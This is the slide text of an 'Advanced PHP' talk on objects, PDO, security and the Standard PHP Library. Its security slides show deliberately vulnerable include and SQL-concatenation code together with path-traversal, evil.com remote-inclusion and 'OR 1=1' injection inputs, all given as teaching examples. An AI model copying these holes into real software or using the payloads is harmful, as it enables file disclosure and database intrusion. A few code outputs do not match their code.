Advanced PHP

Classes & Objects
Abstraction
Security
PHP Hidden Gems

Classes
•- Class deﬁnes an object
constant features
- properties
- methods
- magic
• can inherit object properties and methods
• can provide a basis for a multitude of objects

?

Object Simpliﬁed
properties methods constants
- cycling - color
- sitting - material
- steering - brand
- paddling - type

Database Objects
User
id
fullname
username
password
email

Functional Objects

Math
addValue($value)
subtractValue($value)
multiplyValue($value)
divideValue($value)

Objects in PHP
<?php
class MyClass
{
public $property;

public function setProperty($property)
{
$this->property = $property;
return $this;
}
public function getProperty()
{
return $this->property;
}
}

$my = new MyClass;
$my->setProperty('Test');
var_dump($my);

// outputs
object(MyClass)#1 (1) {
["property"]=>
string(4) "Test"
}

And why is this better ?
• Uniform approach for data
• Reuse of data structures and content
•- Providing a common vocabulary
when I say bicycle, everyone knows
- when I say table User data, it gets trickier
• Might be useful on other data sources as well
- database
- CSV ﬁles
- web service
- streams

Example data
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | test1 | 5a105e8b9d40e1329780d62ea2265d8a |
| 2 | test2 | ad0234829205b9033196ba818f7a872b |
+----+----------+----------------------------------+

Getting data…
<?php

if (false !== ($conn = mysql_connect('localhost','test',''))) {
if (true === ($db = mysql_select_db('test'))) {
$results = mysql_query('SELECT * FROM user', $conn);
echo '<table>' . PHP_EOL;
while ($row = mysql_fetch_assoc($results)) {
echo ' <tr><td>' . $row['id'] . '</td>';
echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;
}
echo '</table>' . PHP_EOL;
}
}

// outputs:

<table>
<tr><td>1</td><td>test1</td></tr>
</table>

PDO
•- PHP Data Objects
consistent interface
- accessing databases
- included since PHP 5.1 (PECL since 5.0)
• data-access abstraction layer
- same functions (methods)
- different database products

Getting data with PDO
<?php informix, sqlite, pgsql, oci8, mssql,…
try {
$pdo = new PDO('mysql:dbname=test;host=localhost', 'test', '');
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
$results = $pdo->query('SELECT * FROM user');
echo '<table>' . PHP_EOL;
foreach ($results as $row) {
echo ' <tr><td>' . $row['id'] . '</td>';
echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;
}
echo '</table>' . PHP_EOL;

// outputs:

<table>
</table>

Threats
•- Known threats
cyber criminal attacks
- competitors espionage
- bad users providing faulty data (intentionally)
• Lesser known treats
- users providing faulty data (not intentionally)
- services not responding
- bad, untested, changed code
- …

Rule #1
Filter input, escape output

Unﬁltered data
…
include $_GET['filename'];

…
$sql = 'SELECT * FROM test WHERE username=' . $_POST['username']
. ' AND password=MD5(' . $_POST['password'] . ')';
$results = $pdo->query($sql);

Blows up in your face
…
include $_GET['file'];

when calling
script.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

or
script.php?file=http%3A%2F%2Fevil.com%2Fscript.php

…
$sql = 'SELECT * FROM test WHERE username='' . $_POST['username']
. '' AND password=MD5(' . $_POST['password'] . ')';
$results = $pdo->query($sql);

What happens when you post for username:
“test' OR 1=1; --”

You want to run this in your MySQL client ???
SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()

Filtering & Validation
•- Filtering : modifying data before validation
trim whitespaces
- put everything in lower case
- stripping HTML-tags
- …
• Validation: check if the data meets conditions
- data type (string, integer, ﬂoat, object, …)
- string length
- is a valid email address
- …

unescaped output
• wrong encoding on pages ( � )
• translates html code into encoded entities
• cross site scripting (XSS)
• uncontrolled output of user generated content
•…

Escaping output
<?php

$string = "O'Reilly sells <b>great</b> books";

echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL;
// outputs: O'Reilly sells <b>great</b> books

What is SPL ?

Standard PHP Library
interfaces, classes and methods
solve common development challenges

Available since PHP 5.0 !!!

As of 5.3 SPL cannot be turned off from the source !

SPL by Marcus Börger

Ittteerrrattor

Deﬁnition of SPL

SPL provides a huge toolkit that assists you to easily
iterate over a diversity of data structures in a
standardized way

What does it provide ?
• ArrayObject - approach arrays as objects
• Iterators - various iterators
• Interfaces - iterator interfaces for your objects
• Exceptions - exceptions to streamline error handling
• SPL Functions - extra functions and autoloader func
• SplFileInfo - tools for ﬁlesystem access
• Data structures - structuring data sequences

ArrayObject
•- provides an interface
treat arrays as objects
- elements are iteratable
- provides serializing and deserializing of arrays
- sorting elements (w/ or w/o callback methods)
- exchange elements with other arrays or objects

ArrayObject Example
<?php

$myArray = array (
'time' => 'Derick Rethans',
'test' => 'Sebastian Bergmann',
'iterate' => 'Marcus Börger',
);

$obj = new ArrayObject($myArray);
print_r($obj);

$obj->uasort(function ($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
});
print_r($obj);

ArrayObject output
ArrayObject Object
(
[storage:ArrayObject:private] => Array
(
[time] => Derick Rethans
[test] => Sebastian Bergmann
[iterate] => Marcus Börger
)

)
ArrayObject Object
(
[storage:ArrayObject:private] => Array
(
[time] => Derick Rethans
[iterate] => Marcus Börger
[test] => Sebastian Bergmann
)

)

More of ArrayObject
…

// serializing object for caching, sessions, …
$obj->serialize();

// adding more key/value elements to the stack
$obj->offsetSet('enterprise', 'Ivo Jansch');

// removing by key
$obj->offsetUnset('time');

…

Iterator
• provides a common interface
•- to iterate over “things”
xml data
- database data
- arrays
• move back and forth in a stack
• distinct methods to access keys and values
• speciﬁc iterators for different purposes

Advantage ?
•- Reusable code
data structures can change
- object oriented
❖ extending
❖ refactoring
❖ overloading

Example
• retrieve data in an array
• with items ﬁltered out

FilterIterator Example
<?php

class filterOut extends FilterIterator
{
private $_filter;

public function __construct(Iterator $it, $filter)
{
parent::__construct($it);
$this->_filter = $filter;
}

public function accept()
{
$key = $this->getInnerIterator()->key();
return ($key == $this->_filter) ? false : true;
}
}

FilterIterator output
<?php

$myArray = array (
'time' => 'Derick Rethans',
'test' => 'Sebastian Bergmann',
'iterate' => 'Marcus Börger',
);
$obj = new ArrayObject($myArray);

$iterator = new filterOut($obj->getIterator(), 'time');

foreach ($iterator as $item) {
var_dump($item);
}

//ouputs
string(18) "Sebastian Bergmann"
string(13) "Marcus Börger"

DirectoryIterator
• dealing with files and directories
• looping back and forth between files
• sorting files w/ or w/o custom sorting algorithms

Example
• show an list of archive ﬁles
• ordered with last archive ﬁrst

Directory contents
$ ls archives/
datafile-20090901.csv datafile-20090906.csv datafile-20090911.csv

SortableDirectorIterator
<?php
class SortableDirectoryIterator extends DirectoryIterator
{
public function sortUp()
{
$storage = $this->_getStorage();
$storage->uksort(function ($a, $b) {
if ($a == $b) return 0;
return ($a < $b) ? -1 : 1;
});
return $storage;
}
public function sortDown()
{
$storage = $this->_getStorage();
$storage->uksort(function ($a, $b) {
if ($a == $b) return 0;
return ($a < $b) ? 1 : -1;
});
return $storage;
}

Our Storage Container
…
protected function _getStorage()
{
$obj = new ArrayObject();
foreach ($this as $file) {
if ($file->isDot()) continue;
$obj->offsetSet($file->getFileName(),
$file->getFileInfo());
}
return $obj;
}
}

$dir = new SortableDirectoryIterator('./archives');
$sortObj = $dir->sortDown();
$iterator = $sortObj->getIterator();
while ($iterator->valid()) {
echo $iterator->current()->getPathName() . PHP_EOL;
$iterator->next();
}

Descending ﬁlenames
./archives/datafile-20090930.csv ./archives/datafile-20090915.csv

RecursiveIteratorIterator
• iterates over existing iterator
• over multiple levels
• easy to ﬂatten out nested array structures
• controlling recursive interactions

Example
Chuck Norris
Account Manager

Jane Doe John Doe
Project Manager Project Manager

Cinderella Shrek
Developer Graphical Designer

RecursiveIteratorIterator
<?php
$company = array (
array (
'name' => 'Chuck Norris','position' => 'Account Manager',
'manages' => array (
array (
'name' => 'Jane Doe','position' => 'Project Manager',
'manages' => array (
array (
'name' => 'Cinderella','position' => 'Developer',
'manages' => array (),
),
array (
'name' => 'Shrek','position' => 'Graphical Designer',
),
),
),
array (
'name' => 'John Doe','position' => 'Project Manager',
),
),
),
);

Flattened Array output
$iterator = new RecursiveArrayIterator(new ArrayObject($company));
$ritit = new RecursiveIteratorIterator($iterator);
foreach ($ritit as $key => $value) {
echo $key . ' = ' . $value . PHP_EOL;
}

// outputs
name = Chuck Norris
position = Account Manager
name = Jane Doe
position = Project Manager
name = Cinderella
position = Developer
name = Shrek
position = Graphical Designer
name = John Doe
position = Project Manager

Interfaces
• Countable: an internal counter
• OuterIterator: iteration over inner iterators
• RecursiveIterator: iterating in an recursive way
• SeekableIterator: an internal stack seeker
• SplObserver: implements observer pattern
• SplSubject: implements observer pattern

Interface example
<?php
// file: Order.php

class Order implements Countable, SplSubject
{
protected $_orders;
protected $_count;

public function __construct()
{
$this->_count = 0;
$this->_orders = array ();
}

public function placeOrder()
{
$this->_count++;
}

public function attach(SplObserver $observer)
{
$this->_orders[] = $observer;
}

public function detach(SplObserver $observer)
{
// not used in this case
}

Interface Example (2)
public function notify()
{
foreach ($this->_orders as $obj) {
$obj->update($this);
}
}

public function count()
{
return $this->_count;
}
}

<?php
// file: PlaceOrder.php

class PlaceOrder implements SplObserver
{

public function update(SplSubject $order)
{
echo 'We have ' . count($order) . ' orders now' . PHP_EOL;
}
}

Running Interface Example
<?php

require_once 'Order.php';
require_once 'PlaceOrder.php';

$order = new Order();
$placeOrder = new PlaceOrder();

$order->attach($placeOrder);
$order->notify();

$order->placeOrder();
$order->notify();

$order->placeOrder();
$order->notify();

$ php ./spl_observer.php
We have 0 orders now

SPL Exceptions
•- SPL Exceptions
templates
- throw exceptions
- common issues
• Types of exceptions
- LogicExceptions
- RuntimeExceptions

SPL RuntimeException
Tree

Exceptions Example
<?php
//file: spl_exception01.php
class MyClass
{
public function giveANumberFromOneToTen($number)
{
if($number < 1 || $number > 10) {
throw new OutOfBoundsException('Number should be between 1 and
10');
}
echo $number . PHP_EOL;
}
}

$my = new MyClass();
try {
$my->giveANumberFromOneToTen(5);
$my->giveANumberFromOneToTen(20);
} catch (OutOfBoundsException $e) {
echo $e->getMessage() . PHP_EOL;
}

Output:
$ /usr/bin/php ./spl_exception01.php
5
Number should be between 1 and 10

SplFunctions
• functions for PHP and SPL in particular
• often dealing with auto loading
• some for internal referencing

SplFunctions Example
<?php

interface foo {}
interface bar {}

class baz implements foo, bar {}
class example extends baz {}

var_dump(class_implements(new baz));

var_dump(class_implements(new example));

Output of SplFunctions
array(2) {
["foo"]=>
string(3) "foo"
["bar"]=>
string(3) "bar"
}
array(2) {
["bar"]=>
string(3) "bar"
["foo"]=>
string(3) "foo"
}

SPLFileInfo

The SplFileInfo class offers a high-level object oriented
interface to information for an individual ﬁle.

SplFileInfo Example
<?php

// use the current file to get information from
$file = new SplFileInfo(dirname(__FILE__));

var_dump($file->isFile());
var_dump($file->getMTime());
var_dump($file->getSize());
var_dump($file->getFileInfo());
var_dump($file->getOwner());

//output
bool(false)
int(1244760945)
int(408)
object(SplFileInfo)#2 (0) {
}
int(501)

Processing CSV with SPL
Consider the following data.csv

Derick Rethans;time
Sebastian Bergmann;test
Marcus Börger;iterate
Ivo Jansch;enterprise
Matthew Weier O'Phinney;extend
Michelangelo van Dam;elephpant

SPL usage on CSV
<?php
$info = new SplFileInfo('data.csv');
if ($info->isReadable()) {
$file = $info->openFile();
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl(';','"');
foreach ($file as $row) {
list ($user, $term) = $row;
if (null !== $user && null !== $term) {
echo $user . ' is known for ' . $term . PHP_EOL;
}
}
}

//outputs
Derick Rethans is known for time
Sebastian Bergmann is known for test
Marcus Börger is known for iterate
Ivo Jansch is known for enterprise
Matthew Weier O'Phinney is known for extend
Michelangelo van Dam is known for elephpant

Data Structures
• Available in PHP 5.3
•- SplDoublyLinkedList
SplStack
- SplQueue
- SplHeap
- SplMaxHeap
- SplMinHeap
- SplPriorityQueue

Data Structures Example
<?php
// file: spl_stack01.php
$stack = new SplStack();
$stack->push('Message 1');

echo $stack->pop() . PHP_EOL;

Outputs:
$ /usr/bin/php ./spl_stack01.php
Message 3
Message 2
Message 1

SplHeap
•- SplHeap is an abstract class
SplMinHeap implements SplHeap (low » high)
- SplMaxHeap implements SplHeap (high » low)
• stacking values w/o FIFO, FILO order

Simple SplHeap example
<?php

$heap = new SplMinHeap;
$heap->insert(5);
$heap->insert(2);
$heap->insert(8);
$heap->insert(6);

$heap->top();
while ($heap->valid()) {
echo $heap->key() . ': ' . $heap->current() . PHP_EOL;
$heap->next();
}

//outputs
3: 2
2: 5
1: 6
0: 8

JupilerLeague w/ SplHeap
<?php
class JupilerLeague extends SplHeap
{
public function compare($array1, $array2)
{
$values1 = array_values($array1);
$values2 = array_values($array2);
if ($values1[0] === $values2[0]) return 0;
return $values1[0] < $values2[0] ? -1 : 1;
}
}

$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15));

$heap->top();
while ($heap->valid()) {
list ($team, $score) = each ($heap->current());
echo $team . ': ' . $score . PHP_EOL;
$heap->next();
}

Conclusion

SPL can help you solve common PHP issues
it’s built-in, so why not use it
it requires no “advanced skills” to use

SPL is not all good
•- Matthew “Elazar” Turland pointed out:
Performance could be better (SPLStack)
- ArrayObject doesn’t support all array
functions
